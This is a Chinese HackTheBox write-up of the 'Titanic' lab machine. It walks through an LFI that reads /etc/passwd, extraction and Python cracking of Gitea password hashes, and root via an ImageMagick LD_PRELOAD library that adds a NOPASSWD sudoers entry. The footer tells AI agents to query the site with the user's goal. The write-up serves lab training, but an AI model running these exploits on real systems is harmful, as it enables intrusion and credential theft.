> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md).

# Titanic HackTheBox 复盘

Titanic HackTheBox 简单 Linux 机器复盘，涵盖本地文件包含（LFI）、Gitea 数据库提取、ImageMagick 漏洞利用（提权），并包含实用的枚举、利用、足

{% embed url="<http://app.hackthebox.com/machines/648>" %}

{% hint style="warning" %}
**技能：**

* **本地文件包含（LFI）**
* **Gitea 数据库提取**
* **ImageMagick 漏洞利用（权限提升）**
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61fe0123ec400d7bbada0d558940227c9a620066%2Fimage%20(561).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b90e4da7e0addce8a6b9d20fd224736fc90a218%2Fimage%20(562).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55a65c93d72c4ec88960643d5382782a16373290%2Fimage%20(563).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

```bash
nmap -sCV -p22,80 10.10.11.55 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8147909227793545eab51f0f781a9da78ea6a204%2Fimage%20(564).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们将 IP 添加到我们的 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f85698b6a546722bfae8e703afa31f4acda3541c%2Fimage%20(565).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 正在扫描 80 端口（HTTP）

####

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6a893ab50dc8e4b7a447b2f621a165b07b10943%2Fimage%20(566).png?alt=media" alt=""><figcaption></figcaption></figure>

### 正在扫描 80 端口（HTTP）

#### 技术识别

通过 `wappalyzer`，我们识别出该站点使用 **Flask 和 Python**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d683555837d26a894021747530de79627600d251%2Fimage%20(568).png?alt=media" alt="" width="349"><figcaption></figcaption></figure>

## 本地文件包含（LFI） <a href="#fb9e" id="fb9e"></a>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7eaee2b0f88f73ef5df9274707f272d7cd871f27%2Fimage%20(569).png?alt=media" alt="" width="423"><figcaption></figcaption></figure>

该网站提供预订行程的选项，会返回一个 JSON 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c076e50ed67c36d5864277d7b14d01306c08acbb%2Fimage%20(570).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e58a354c6f93d805b13c7c54c54e3a282e1ef8f1%2Fimage%20(571).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

通过拦截请求 **Burp Suite**，我们注意到一个 `下载` 参数，可用于访问这些文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24ff57fcfc78c51d84ea2994aea92c3f213d4ef6%2Fimage%20(572).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json
```

我们测试了文件包含：

```
/download?ticket=/etc/passwd
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96c2896e5843f191e6343ea1bd8f9821c4c1771a%2Fimage%20(573).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73f69b3af86a719c8e01eb4ebe75baaac3a4269c%2Fimage%20(574).png?alt=media" alt=""><figcaption></figcaption></figure>

通过 `curl`:

```
curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd
```

我们获取到系统用户，包括 **developer**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-644002ef4c05b2c5717bca48515bfd5302629f15%2Fimage%20(575).png?alt=media" alt=""><figcaption></figcaption></figure>

### 子域名模糊测试

我们使用以下工具搜索子域名 **Gobuster**:

```bash
gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9df1da4de1807b46b08c358fd9b362de97758d9%2Fimage%20(576).png?alt=media" alt=""><figcaption></figcaption></figure>

我们发现 **dev.titanic.htb**，我们将其添加到 `/etc/hosts`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f48c098ead59efd095afe8f4c12566579d09a91%2Fimage%20(577).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Gitea 漏洞利用

在 **dev** 子域名，我们发现一个 **Gitea** 实例。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0e35135e1f23a94edbadae8a90686cb807c7f5d%2Fimage%20(578).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 创建用户

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3cd2ab652ba2c1568b03d7756003dcb98c8a9ec%2Fimage%20(579).png?alt=media" alt=""><figcaption></figcaption></figure>

我们找到一个以明文存储的密码（数据库）：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0bb993a09b13c987aa09d3aef6ae3ff2c62a85d2%2Fimage%20(582).png?alt=media" alt=""><figcaption></figcaption></figure>

在查看 Gitea SQLite 数据库时，我们找到了其路径：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce6340d965c6f787c1890051c1d16d1131183203%2Fimage%20(583).png?alt=media" alt=""><figcaption></figcaption></figure>

`/home/developer/gitea/data/gitea/gitea.db`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a29cb1c69646e25ce74b130fa21b84303cdf3d37%2Fimage%20(584).png?alt=media" alt=""><figcaption></figcaption></figure>

我们连接进去：

```sql
sqlite3 gitea.db
.tables
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92de7f883e9db252a0d5ac779e25d89426542dc3%2Fimage%20(585).png?alt=media" alt=""><figcaption></figcaption></figure>

然后提取密码哈希：

```sql
SELECT lower_name, passwd, salt FROM user;
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a733e997037d8fcf0f18505310b4640475daedf2%2Fimage%20(586).png?alt=media" alt=""><figcaption></figcaption></figure>

### 带盐哈希暴力破解

#### 哈希：

```
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
```

#### 盐值：

```
b8dc26d526439f6f2f4523fa8ea522a2
```

我们使用一个 Python 脚本来破解该哈希：

```python
import hashlib
import binascii
 
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value
 
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"Count: {count}: {password}")
            if hash_value == target_hash_bytes:
                print(f"/nFound password: {password}")
                return password
        print("Password not found.")
        return None
 
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)
```

#### - 找到的密码是 **25282528**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c29e418fafb16a7bf2cd2e5cdd55c835b947c817%2Fimage%20(590).png?alt=media" alt=""><figcaption></figcaption></figure>

我们通过 SSH 连接：

```bash
ssh developer@ticanic.htb
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91b18d813e4b68f48dd6a85cb4e702b9618dc366%2Fimage%20(588).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a18fd20532fc7f4db44069e230161a562d610b6%2Fimage%20(589).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升

### Cron 任务 - ImageMagick 漏洞利用

在 `/opt/`，我们找到了一个脚本 `script.sh` 自动执行

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-405dd69316382e6676db340d810cdbbbba7e8e98%2Fimage%20(591).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> 这个 shell 脚本首先切换到 `/opt/app/static/assets/images` 文件夹，然后会清空 `metadata.log` 文件（如果存在）。然后它搜索所有 `.jpg` 该目录中的文件，并使用 ImageMagick 的 `identify` 命令提取它们的元数据（大小、格式、色深等）。这些信息随后保存到 `metadata.log`。因此，该脚本允许你为指定文件夹中所有 JPG 图像生成更新后的元数据文件。

该脚本使用 **ImageMagick**，这是一个存在漏洞的版本。

```bash
magicks --version
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81c5d780bb64c99840c1b2a9bed084fcb66291a6%2Fimage%20(592).png?alt=media" alt=""><figcaption></figcaption></figure>

### 通过……进行利用 `LD_PRELOAD`

我们创建一个 `a.c` 文件：

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

编译：

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4dad16b3523735bf8c1ff264a1e488284f30be4e%2Fimage%20(597).png?alt=media" alt=""><figcaption></figcaption></figure>

我们将其添加到由……监控且可执行的目录中 `ImageMagick`。然后，我们执行：

```bash
su root
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c322efb2330af5e3e434dfd76d322911542b0765%2Fimage%20(598).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01d12bc8cf479fbc9e226db7f26b18bc3e708347%2Fimage%20(596).png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
